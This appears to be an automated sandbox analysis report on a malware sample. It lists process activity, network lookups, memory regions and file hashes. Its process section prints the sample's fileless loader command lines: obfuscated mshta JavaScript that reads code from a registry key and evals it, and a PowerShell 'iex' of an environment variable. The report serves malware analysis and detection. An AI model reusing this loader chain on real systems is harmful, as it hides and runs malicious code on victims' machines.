PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 1660 wrote to memory of 3968 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1660 wrote to memory of 3968 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1660 wrote to memory of 3968 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:jkB5xaI="5iO";NV24=new%20ActiveXObject("WScript.Shell");GhcaDrs6="Di";lr09IV=NV24.RegRead("HKCU\\software\\YhiXUaG\\w51R5o4");So4Pt6="oX9RV";eval(lr09IV);b4lX5R="oSRt";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:pfvkm

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/1224-2-0x0000000000400000-0x000000000043C000-memory.dmp

memory/1224-4-0x0000000000400000-0x000000000043C000-memory.dmp

memory/1224-5-0x0000000000400000-0x000000000043C000-memory.dmp

memory/1224-10-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/1224-8-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/1224-6-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/1224-9-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/1224-7-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/1224-11-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/1224-12-0x00000000008A0000-0x000000000097A000-memory.dmp

memory/3968-14-0x00000000027C0000-0x00000000027F6000-memory.dmp

memory/3968-15-0x0000000005400000-0x0000000005A28000-memory.dmp

memory/3968-16-0x0000000005130000-0x0000000005152000-memory.dmp

memory/3968-17-0x00000000052E0000-0x0000000005346000-memory.dmp

memory/3968-18-0x0000000005350000-0x00000000053B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ccso2ihj.sdx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3968-28-0x0000000005A30000-0x0000000005D84000-memory.dmp

memory/3968-29-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

memory/3968-30-0x0000000005F90000-0x0000000005FDC000-memory.dmp

memory/3968-31-0x0000000007730000-0x0000000007DAA000-memory.dmp

memory/3968-32-0x0000000006400000-0x000000000641A000-memory.dmp